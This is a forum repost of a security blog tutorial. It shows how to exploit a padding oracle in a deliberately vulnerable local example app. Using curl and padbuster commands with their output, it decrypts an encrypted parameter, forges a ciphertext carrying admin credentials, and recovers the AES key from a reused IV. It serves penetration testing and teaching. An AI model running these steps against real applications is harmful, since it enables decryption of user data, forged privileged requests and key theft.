Active Members Fi8sVrs Posted November 3, 2015 Active Members Report Posted November 3, 2015 I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield.The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub.The application decrypts a request parameter named ‘cipher’.# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: ApplicationUsername=user&Password=sesameWe know that AES-128 with PKCS#5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check.Simple padding oracle scenarioThe keywords PKCS#5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block:# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: ?+?]7N?d?????N?me=user&Password=sesameThe next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns ‘decryption error’ when the padding is incorrect.# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ffdecryption errorNow that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian’s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below:padbuster URL EncryptedSample BlockSize [options]In this scenario running padbuster is straightforward: The block size is 16 (16 bytes = 128 bits) and the only additional switch we need for now is -encoding 1 (lower case HEX).# padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1+-------------------------------------------+| PadBuster - v0.3.3 || Brian Holyfield - Gotham Digital Science || labs@gdssecurity.com |+-------------------------------------------+INFO: The original request returned the following[+] Status: 200[+] Location: N/A[+] Content Length: 51INFO: Starting PadBuster Decrypt Mode*** Starting Block 1 of 2 ***INFO: No error string was provided...starting response analysis*** Response Analysis Complete ***The following response signatures were returned:-------------------------------------------------------ID# Freq Status Length Location-------------------------------------------------------1 1 200 42 N/A2 ** 255 200 16 N/A-------------------------------------------------------Enter an ID that matches the error conditionNOTE: The ID# marked with ** is recommended : 2Continuing test with selection 2[+] Success: (24/256) [Byte 16][+] Success: (165/256) [Byte 15][snip]Block 1 Results:[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9[+] Plain Text: ame=user&Passwor*** Starting Block 2 of 2 ***[snip]-------------------------------------------------------** Finished ***[+] Decrypted value (ASCII): ame=user&Password=sesame[snip]Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block (-noiv option in padbuster). However, we don’t know the IV to calculate the plaintext for the first block.Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down. To save time we could also specify the error string for invalid padding:-error “decryption error”A more complicated exampleNow let’s look at a slightly more complicated scenario: The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ‘ApplicationUsername’ and ‘Password’.Here is an example for a successful request: The ‘cipher’ parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields.# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: ApplicationUsername=user&Password=sesameparsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}If we send a request that only contains a ‘Password’ field the application responds with ‘ApplicationUsername missing’.# curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89adecrypted: Password=sesame# curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89aApplicationUsername missingIn the case where the crypt value only contains an ‘ApplicationUsername’ field the application responds with ‘Password missing’.# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54decrypted: ApplicationUsername=user# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54Password missingWhen tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the ‘cipher’ parameter and returns ‘ApplicationUsername missing’.# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ffApplicationUsername missingUnfortunately, launching padbuster with minimal options fails: When it attempts to brute force the first block it always encounters the same error message (ApplicationUsername missing).# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip]ERROR: All of the responses were identical.Double check the Block Size and try again.But we can still leverage the order the application checks for the fields: It also returns ‘ApplicationUsername missing’ if the padding is invalid. We only need to prepend encrypted data that contains the ‘ApplicationUsername’ field: If the padding is correct then we get a different response. This way we can decrypt all but the first block.In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ‘ApplicationUsername’ field spans over two blocks (see Appendix).# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"+-------------------------------------------+| PadBuster - v0.3.3 || Brian Holyfield - Gotham Digital Science || labs@gdssecurity.com |+-------------------------------------------+INFO: The original request returned the following[+] Status: 200[+] Location: N/A[+] Content Length: 117INFO: Starting PadBuster Decrypt Mode*** Starting Block 1 of 2 ***[snip]-------------------------------------------------------** Finished ***[+] Decrypted value (ASCII): ame=user&Password=sesame[snip]EncryptWe can also encrypt arbitrary content (Please refer to the original padbuster blog post on how this works behind the scenes). The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with ‘=bla&’. Note that the crafted ciphertext does not have to have the same length as the original one.# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"[snip][+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000-------------------------------------------------------# curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000decrypted: ??_c?I?B?C???=bla&ApplicationUsername=admin&Password=adminparsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}Obtaining the keyBeing able to decrypt and craft the ‘cipher’ parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability: The IV (and therefore the encryption key) is the plain text of the first block XORed with the intermediate value from decrypting the first block (see block diagram below).We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application.Using padbuster’s -noiv switch we are able to get the intermediate value after decrypting the first block:# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv [snip]Block 1 Results:[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728[snip]Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key:0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)XOR0x7141425f5d56574351562f1730213728 (intermediate value)=0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)Custom Python scriptThe python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services.Two Python scripts that exploit our example web application can be found on GitHub. The first script ‘http-simple.py’ is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in ‘http-advanced.py’. This script also demonstrates how to encrypt a plaintext and calculate the key.A few additional notesThe Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC.Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values.Prepending another ciphertext in padbuster can come in handy in other situations as well: The application could have an id within the encrypted fields to detect tampering (similar to a nonce). By prepending a mangled block we can stop the application from recognising the id for the current cipher field.For the sake of convenience the sample app also has a feature to encrypt arbitrary data:# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesamecrypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6Appendix: Ciphertext blocksBlock 1:484b850123a04baf15df9be14e87369bApplicationUsernBlock 2:c59ca16e1f3645ef53cc6a4d9d87308eame=user&PassworBlock 3:d2382fb0a54f3a2954bfebe0a04dd4d6d=sesame[padding]Source: http://blog.gdssecurity.com/labs/2015/10/26/exploiting-padding-oracle-to-gain-encryption-keys.html Quote